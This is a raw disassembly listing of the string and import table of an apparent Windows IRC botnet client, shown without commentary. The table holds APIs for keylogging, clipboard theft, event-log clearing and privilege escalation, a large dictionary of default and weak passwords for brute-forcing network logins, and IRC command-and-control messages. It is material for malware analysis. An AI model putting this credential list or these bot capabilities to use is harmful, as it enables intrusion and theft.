aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4012D6+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4012D6+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4012D6+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4012D6+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4012D6:loc_401AB5o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4012D6+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4012D6+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4012D6+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4012D6+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4012D6+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4012D6+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4012D6+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4012D6+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4012D6+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4012D6+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4012D6+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4012D6+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4012D6+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_4012D6+5FDo
		align 4
; char aSend[]
aSend		db 'send',0             ; DATA XREF: sub_4012D6+5F0o
					; sub_40274D+44AAo
		align 10h
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4012D6+5E3o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4012D6+5D6o
		align 10h
aHtonl		db 'htonl',0            ; DATA XREF: sub_4012D6+5C9o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4012D6+5BCo
		align 10h
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4012D6+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4012D6+5A2o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4012D6+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4012D6+588o
aSocket		db 'socket',0           ; DATA XREF: sub_4012D6+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4012D6+56Eo
		align 10h
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4012D6+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4012D6+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4012D6+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4012D6+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4012D6+52Do
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4012D6+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4012D6+514o
		align 10h
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4012D6+4A1o
		align 10h
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4012D6+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4012D6+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4012D6+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4012D6+46Do
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4012D6+460o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4012D6+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4012D6+446o
		align 10h
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4012D6+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4012D6:loc_401703o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4012D6:loc_4016DBo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4012D6+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4012D6+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4012D6+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4012D6+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4012D6+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4012D6+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4012D6+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4012D6:loc_40162Do
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4012D6+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4012D6+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4012D6:loc_4015E8o
		align 10h
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_4012D6+2C6o
		align 10h
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_4012D6+2B9o
		align 10h
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4012D6+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4012D6+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4012D6+292o
		align 10h
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4012D6+285o
		align 10h
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4012D6+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4012D6+270o
		align 10h
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4012D6:loc_401535o
		align 10h
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4012D6+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4012D6+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4012D6+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4012D6:loc_4014CEo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4012D6+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4012D6+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4012D6+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4012D6+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4012D6+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4012D6+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4012D6+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4012D6+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4012D6:loc_40140Bo
					; ___crtMessageBoxA+13o
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4012D6:loc_4013DEo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4012D6+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4012D6+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4012D6+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4012D6+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4012D6+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4012D6+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4012D6+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4012D6+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4012D6+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4012D6+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4012D6+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4012D6+Ao
		align 4
; char asc_42BF4C[]
asc_42BF4C	db '-'                  ; DATA XREF: sub_401F92+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
; char aAvicap32_dllFa[]
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+2CCo
		align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+298o
; char aShell32_dllFai[]
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+264o
		align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+230o
		align 4
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_401F92+1FCo
		align 10h
; char aDnsapi_dllFail[]
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_401F92+1C8o
; char aNetapi32_dllFa[]
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+194o
		align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_401F92+160o
		align 4
; char aWininet_dllFai[]
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_401F92+12Co
		align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+F8o
; char aGdi32_dllFaile[]
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+C4o
		align 4
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+90o
		align 4
; char aUser32_dllFail[]
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+5Co
; char aKernel32_dllFa[]
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+28o
		align 4
; char a__0[]
a__0:					; DATA XREF: sub_410F37+155o
					; sub_412135+24Co
		unicode	0, <.>,0
unk_42C0DC	db  2Dh	; -		; DATA XREF: sub_4022F5:loc_4023C2o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
; char asc_42C10C[]
asc_42C10C	db '-'                  ; DATA XREF: sub_4022F5:loc_402393o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42C13C	db  2Dh	; -		; DATA XREF: sub_4022F5:loc_402349o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
; char asc_42C160[]
asc_42C160	db '-'                  ; DATA XREF: sub_4022F5+44o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
; char aD_D_D_D[]
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4023C9+41o
					; sub_40BBBA+38o ...
aIntranet	db 'intranet',0         ; DATA XREF: .data:0043C484o
		align 4
aLan		db 'lan',0              ; DATA XREF: .data:0043C47Co
aMain		db 'main',0             ; DATA XREF: .data:0043C478o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: .data:0043C474o
aBlank		db 'blank',0            ; DATA XREF: .data:0043C470o
		align 10h
aOffice		db 'office',0           ; DATA XREF: .data:0043C46Co
		align 4
aControl	db 'control',0          ; DATA XREF: .data:0043C468o
aXp		db 'xp',0               ; DATA XREF: .data:0043C464o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:0043C460o
		align 4
aHp		db 'hp',0               ; DATA XREF: .data:0043C45Co
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: .data:0043C458o
aCompaq		db 'compaq',0           ; DATA XREF: .data:0043C454o
		align 10h
aDell		db 'dell',0             ; DATA XREF: .data:0043C450o
		align 4
aCisco_0	db 'cisco',0            ; DATA XREF: .text:0040C81Bo
					; .data:0043C44Co
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .data:0043C448o
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:0043C440o
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:0043C43Co
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:0043C438o
; char aSa[]
aSa		db 'sa',0               ; DATA XREF: sub_40274D+1A13o
					; .data:0043C434o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: .data:0043C430o
		align 4
aDb1		db 'db1',0              ; DATA XREF: .data:0043C428o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:0043C424o
		align 4
aData		db 'data',0             ; DATA XREF: .data:0043C420o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:0043C41Co
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:0043C418o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: .data:0043C414o
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:0043C410o
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:0043C408o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:0043C404o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:0043C400o
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:0043C3FCo
		align 4
aHell		db 'hell',0             ; DATA XREF: .data:0043C3F8o
		align 4
aGod		db 'god',0              ; DATA XREF: .data:0043C3F4o
aSex		db 'sex',0              ; DATA XREF: .data:0043C3F0o
					; .data:off_4431D0o
aSlut		db 'slut',0             ; DATA XREF: .data:0043C3ECo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:0043C3E8o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:0043C3E4o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .data:0043C3E0o
		align 10h
aBackup		db 'backup',0           ; DATA XREF: .data:0043C3DCo
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:0043C3D8o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0043C3D4o
		align 10h
; char aLogin[]
aLogin		db 'login',0            ; DATA XREF: sub_40274D+9B8o
					; .data:0043C3D0o
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:0043C3CCo
		align 10h
aKatie		db 'katie',0            ; DATA XREF: .data:0043C3C8o
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:0043C3C0o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: .data:0043C3BCo
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:0043C3B8o
		align 10h
aChris		db 'chris',0            ; DATA XREF: .data:0043C3B4o
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:0043C3B0o
aNeil		db 'neil',0             ; DATA XREF: .data:0043C3ACo
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:0043C3A8o
aBrian		db 'brian',0            ; DATA XREF: .data:0043C3A4o
		align 10h
aSusan		db 'susan',0            ; DATA XREF: .data:0043C39Co
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:0043C398o
aSam		db 'sam',0              ; DATA XREF: .data:0043C394o
aLuke		db 'luke',0             ; DATA XREF: .data:0043C390o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:0043C38Co
					; .data:0043C3A0o
		align 10h
aJohn		db 'john',0             ; DATA XREF: .data:0043C388o
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:0043C384o
		align 10h
aBill		db 'bill',0             ; DATA XREF: .data:0043C380o
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:0043C37Co
		align 10h
aJoe		db 'joe',0              ; DATA XREF: .data:0043C378o
aJen		db 'jen',0              ; DATA XREF: .data:0043C374o
aBob		db 'bob',0              ; DATA XREF: .data:0043C370o
					; .data:0043C3C4o
aQwe		db 'qwe',0              ; DATA XREF: .data:0043C36Co
aZxc		db 'zxc',0              ; DATA XREF: .data:0043C368o
aAsd		db 'asd',0              ; DATA XREF: .data:0043C364o
aQaz		db 'qaz',0              ; DATA XREF: .data:0043C360o
aWin2000	db 'win2000',0          ; DATA XREF: .data:0043C35Co
aWinnt		db 'winnt',0            ; DATA XREF: .data:0043C358o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:0043C354o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:0043C350o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .data:0043C34Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:0043C348o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0043C344o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .data:0043C340o
aOem		db 'oem',0              ; DATA XREF: .data:0043C33Co
; char aUser_0[]
aUser_0		db 'user',0             ; DATA XREF: sub_40274D+4422o
					; .data:0043C338o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:0043C334o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:0043C330o
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: .data:0043C32Co
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:0043C328o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:0043C324o
					; .data:0043C480o
		align 4
aWww		db 'www',0              ; DATA XREF: .data:0043C320o
aWeb		db 'web',0              ; DATA XREF: .data:0043C31Co
aOutlook	db 'outlook',0          ; DATA XREF: .data:0043C318o
aMail		db 'mail',0             ; DATA XREF: .data:0043C314o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:0043C310o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .data:0043C30Co
		align 4
; char aServer_1[]
aServer_1	db 'server',0           ; DATA XREF: sub_40274D+3BA6o
					; .data:0043C304o
		align 4
aSystem		db 'system',0           ; DATA XREF: .data:0043C300o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: .data:0043C2F8o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:0043C2F4o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .data:0043C2F0o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:0043C2ECo
		align 10h
aNone		db 'none',0             ; DATA XREF: .data:0043C2E8o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:0043C2E0o
		align 10h
a2004		db '2004',0             ; DATA XREF: .data:0043C2DCo
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41D779+98o
					; .data:0043C2D8o
		align 10h
a2002		db '2002',0             ; DATA XREF: .data:0043C2D4o
		align 4
a2001		db '2001',0             ; DATA XREF: .data:0043C2D0o
		align 10h
a2000		db '2000',0             ; DATA XREF: .data:0043C2CCo
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:0043C2C8o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:0043C2C4o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .data:0043C2C0o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:0043C2BCo
a123456		db '123456',0           ; DATA XREF: .data:0043C2B8o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0043C2B4o
		align 4
a1234		db '1234',0             ; DATA XREF: .data:0043C2B0o
		align 4
a123		db '123',0              ; DATA XREF: .data:0043C2ACo
a12		db '12',0               ; DATA XREF: .data:0043C2A8o
		align 4
a1:					; DATA XREF: .data:0043C2A4o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: .data:0043C2A0o
aPwd		db 'pwd',0              ; DATA XREF: .data:0043C29Co
aPass_2		db 'pass',0             ; DATA XREF: .data:0043C298o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0043C294o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .data:0043C290o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:0043C28Co
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:0043C288o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:0043C284o
aDb2		db 'db2',0              ; DATA XREF: .data:0043C260o
					; .data:0043C42Co
aOracle		db 'oracle',0           ; DATA XREF: .data:0043C25Co
					; .data:0043C444o
		align 4
aDba		db 'dba',0              ; DATA XREF: .data:0043C258o
aDatabase	db 'database',0         ; DATA XREF: .data:0043C254o
					; .data:0043C40Co
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:0043C250o
					; .data:0043C2FCo
aGuest_0	db 'guest',0            ; DATA XREF: .data:0043C24Co
					; .data:0043C2E4o
		align 4
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .data:0043C248o
		align 10h
aTeacher	db 'teacher',0          ; DATA XREF: .data:0043C244o
					; .data:0043C48Co
aStudent	db 'student',0          ; DATA XREF: .data:0043C240o
					; .data:0043C488o
aOwner		db 'owner',0            ; DATA XREF: .data:0043C23Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: .data:0043C238o
		align 4
aRoot		db 'root',0             ; DATA XREF: .data:0043C234o
					; .data:0043C308o
		align 4
aStaff		db 'staff',0            ; DATA XREF: .data:0043C230o
					; .data:0043C490o
		align 4
aAdmin_0	db 'admin',0            ; DATA XREF: .data:0043C22Co
					; .data:0043C280o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: .data:0043C228o
					; .data:0043C27Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:0043C224o
					; .data:0043C278o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0043C220o
					; .data:0043C274o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: .data:0043C21Co
					; .data:0043C270o
		align 10h
aAdministrato_0	db 'administrator',0    ; DATA XREF: .data:off_43C218o
					; .data:0043C26Co
		align 10h
; a__p_a_w_a_a(*)
a__p_a_w_a_a__p	db '..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a.',0
					; DATA XREF: sub_40274D+3222o
					; sub_40274D+32F9o ...
		align 10h
a__p_a_w_a_a__0	db '..P.a.W.a.a..P.a.W.a.a.P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a'
					; DATA XREF: sub_40274D+35FBo
					; sub_40274D+3634o ...
		db '..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.'
		db 'a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a'
		db '.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.'
		db 'a.a..P.a.W.a.a..P.a.W.a.a..P.a.W.a.a..',0
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043C16Co
		align 4
aMircV6_14Khale	db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043C168o
		align 4
aMircV6_12Khale	db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043C164o
		align 4
aMircV6_10Khale	db 'mIRC v6.10 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_43C160o
		align 4
a@bxi_net	db '*@bxi.net',0        ; DATA XREF: .data:off_43C15Co
		align 4
; char aNickSUserS00S[]
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_402472+61o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
; char aPassS[]
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_402472+37o
		align 10h
; char asc_42C830[]
asc_42C830	db '-'                  ; DATA XREF: sub_4025EF+B5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 10h
; char aModeSS_0[]
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7AE8o
		align 10h
; char aUserhostS[]
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+7AD3o
		align 10h
; char asc_42C870[]
asc_42C870	db '-'                  ; DATA XREF: sub_40274D+7ABFo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_42C890	db  2Dh	; -		; DATA XREF: sub_40274D+7AA5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 10h
unk_42C8B0	db  2Dh	; -		; DATA XREF: sub_40274D+7A50o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 4
; char aNoticeSHostAut[]
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40274D+7A2Do
		align 4
; char asc_42C904[]
asc_42C904	db '-'                  ; DATA XREF: sub_40274D+79E9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 10h
; char aNoticeSYourAtt[]
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40274D+79DAo
					; sub_40274D+7A41o
		align 4
; char aNoticeSPassAut[]
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40274D+79C6o
		align 4
; char asc_42C984[]
asc_42C984:				; DATA XREF: sub_40274D+799Co
		unicode	0, <~>,0
; char byte_42C988[]
byte_42C988	db 4 dup(0)		; DATA XREF: sub_40274D+7990o
					; sub_40E841+14o
; char asc_42C98C[]
asc_42C98C	db '-'                  ; DATA XREF: sub_40274D+7957o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
; char asc_42C9B0[]
asc_42C9B0	db '-'                  ; DATA XREF: sub_40274D+78E6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
; char asc_42C9D8[]
asc_42C9D8	db '-'                  ; DATA XREF: sub_40274D+78ACo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
; char asc_42C9FC[]
asc_42C9FC	db '-'                  ; DATA XREF: sub_40274D+7884o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
; char asc_42CA20[]
asc_42CA20	db '-'                  ; DATA XREF: sub_40274D+785Fo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_42CA44	db  2Dh	; -		; DATA XREF: sub_40274D+7841o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_42CA68	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_40274D+7827o
		dd 2E732520h, 0
; char asc_42CA84[]
asc_42CA84	db '-'                  ; DATA XREF: sub_40274D:loc_409F01o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_42CAB0	db  2Dh	; -		; DATA XREF: sub_40274D+77ADo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
